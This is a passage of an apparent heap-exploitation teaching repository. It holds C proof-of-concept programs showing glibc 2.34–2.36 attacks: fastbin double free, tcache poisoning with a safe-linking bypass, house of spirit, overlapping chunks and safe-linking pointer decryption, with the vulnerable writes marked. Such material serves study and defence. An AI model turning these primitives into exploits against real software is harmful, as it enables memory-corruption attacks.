our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var[1] = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); 64 | fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); 65 | unsigned long ptr = (unsigned long)stack_var; 66 | unsigned long addr = (unsigned long) d; 67 | /*VULNERABILITY*/ 68 | *d = (addr >> 12) ^ ptr; 69 | /*VULNERABILITY*/ 70 | 71 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 72 | 73 | void *p = calloc(1,8); 74 | 75 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 76 | assert((unsigned long)p == (unsigned long)stack_var + 0x10); 77 | } 78 | -------------------------------------------------------------------------------- /glibc_2.34/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.34/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.34/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.34/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" 18 | "An heap address leak is needed to perform tcache poisoning.\n" 19 | "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); 20 | 21 | size_t stack_var[0x10]; 22 | size_t *target = NULL; 23 | 24 | // choose a properly aligned target address 25 | for(int i=0; i<0x10; i++) { 26 | if(((long)&stack_var[i] & 0xf) == 0) { 27 | target = &stack_var[i]; 28 | break; 29 | } 30 | } 31 | assert(target != NULL); 32 | 33 | printf("The address we want malloc() to return is %p.\n", target); 34 | 35 | printf("Allocating 2 buffers.\n"); 36 | intptr_t *a = malloc(128); 37 | printf("malloc(128): %p\n", a); 38 | intptr_t *b = malloc(128); 39 | printf("malloc(128): %p\n", b); 40 | 41 | printf("Freeing the buffers...\n"); 42 | free(a); 43 | free(b); 44 | 45 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 46 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 47 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); 48 | // VULNERABILITY 49 | // the following operation assumes the address of b is known, which requires a heap leak 50 | b[0] = (intptr_t)((long)target ^ (long)b >> 12); 51 | // VULNERABILITY 52 | printf("Now the tcache list has [ %p -> %p ].\n", b, target); 53 | 54 | printf("1st malloc(128): %p\n", malloc(128)); 55 | printf("Now the tcache list has [ %p ].\n", target); 56 | 57 | intptr_t *c = malloc(128); 58 | printf("2nd malloc(128): %p\n", c); 59 | printf("We got the control\n"); 60 | 61 | assert((long)target == (long)c); 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /glibc_2.35/decrypt_safe_linking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | long decrypt(long cipher) 6 | { 7 | puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); 8 | puts("because of the 12bit sliding."); 9 | puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); 10 | long key = 0; 11 | long plain; 12 | 13 | for(int i=1; i<6; i++) { 14 | int bits = 64-12*i; 15 | if(bits < 0) bits = 0; 16 | plain = ((cipher ^ key) >> bits) << bits; 17 | key = plain >> 12; 18 | printf("round %d:\n", i); 19 | printf("key: %#016lx\n", key); 20 | printf("plain: %#016lx\n", plain); 21 | printf("cipher: %#016lx\n\n", cipher); 22 | } 23 | return plain; 24 | } 25 | 26 | int main() 27 | { 28 | /* 29 | * This technique demonstrates how to recover the original content from a poisoned 30 | * value because of the safe-linking mechanism. 31 | * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known 32 | * and the key (ASLR slide) is the same to the pointer's leading bits. 33 | * As a result, as long as the chunk where the pointer is stored is at the same page 34 | * of the pointer itself, the value of the pointer can be fully recovered. 35 | * Otherwise, we can also recover the pointer with the page-offset between the storer 36 | * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 37 | * For demonstrations of other more general cases, plz refer to 38 | * https://github.com/n132/Dec-Safe-Linking 39 | */ 40 | 41 | setbuf(stdin, NULL); 42 | setbuf(stdout, NULL); 43 | 44 | // step 1: allocate chunks 45 | long *a = malloc(0x20); 46 | long *b = malloc(0x20); 47 | printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); 48 | malloc(0x10); 49 | puts("And then create a padding chunk to prevent consolidation."); 50 | 51 | 52 | // step 2: free chunks 53 | puts("Now free chunk a and then free chunk b."); 54 | free(a); 55 | free(b); 56 | printf("Now the freelist is: [%p -> %p]\n", b, a); 57 | printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); 58 | 59 | // step 3: recover the values 60 | puts("Now decrypt the poisoned value"); 61 | long plaintext = decrypt(b[0]); 62 | 63 | printf("value: %p\n", a); 64 | printf("recovered value: %#lx\n", plaintext); 65 | assert(plaintext == (long)a); 66 | } 67 | -------------------------------------------------------------------------------- /glibc_2.35/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.35/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long stack_var[4] __attribute__ ((aligned (0x10))); 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var[1] = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); 64 | fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); 65 | unsigned long ptr = (unsigned long)stack_var; 66 | unsigned long addr = (unsigned long) d; 67 | /*VULNERABILITY*/ 68 | *d = (addr >> 12) ^ ptr; 69 | /*VULNERABILITY*/ 70 | 71 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 72 | 73 | void *p = calloc(1,8); 74 | 75 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 76 | assert((unsigned long)p == (unsigned long)stack_var + 0x10); 77 | } 78 | -------------------------------------------------------------------------------- /glibc_2.35/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.35/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.35/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.35/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" 18 | "An heap address leak is needed to perform tcache poisoning.\n" 19 | "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); 20 | 21 | size_t stack_var[0x10]; 22 | size_t *target = NULL; 23 | 24 | // choose a properly aligned target address 25 | for(int i=0; i<0x10; i++) { 26 | if(((long)&stack_var[i] & 0xf) == 0) { 27 | target = &stack_var[i]; 28 | break; 29 | } 30 | } 31 | assert(target != NULL); 32 | 33 | printf("The address we want malloc() to return is %p.\n", target); 34 | 35 | printf("Allocating 2 buffers.\n"); 36 | intptr_t *a = malloc(128); 37 | printf("malloc(128): %p\n", a); 38 | intptr_t *b = malloc(128); 39 | printf("malloc(128): %p\n", b); 40 | 41 | printf("Freeing the buffers...\n"); 42 | free(a); 43 | free(b); 44 | 45 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 46 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 47 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); 48 | // VULNERABILITY 49 | // the following operation assumes the address of b is known, which requires a heap leak 50 | b[0] = (intptr_t)((long)target ^ (long)b >> 12); 51 | // VULNERABILITY 52 | printf("Now the tcache list has [ %p -> %p ].\n", b, target); 53 | 54 | printf("1st malloc(128): %p\n", malloc(128)); 55 | printf("Now the tcache list has [ %p ].\n", target); 56 | 57 | intptr_t *c = malloc(128); 58 | printf("2nd malloc(128): %p\n", c); 59 | printf("We got the control\n"); 60 | 61 | assert((long)target == (long)c); 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /glibc_2.36/decrypt_safe_linking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | long decrypt(long cipher) 6 | { 7 | puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); 8 | puts("because of the 12bit sliding."); 9 | puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); 10 | long key = 0; 11 | long plain; 12 | 13 | for(int i=1; i<6; i++) { 14 | int bits = 64-12*i; 15 | if(bits < 0) bits = 0; 16 | plain = ((cipher ^ key) >> bits) << bits; 17 | key = plain >> 12; 18 | printf("round %d:\n", i); 19 | printf("key: %#016lx\n", key); 20 | printf("plain: %#016lx\n", plain); 21 | printf("cipher: %#016lx\n\n", cipher); 22 | } 23 | return plain; 24 | } 25 | 26 | int main() 27 | { 28 | /* 29 | 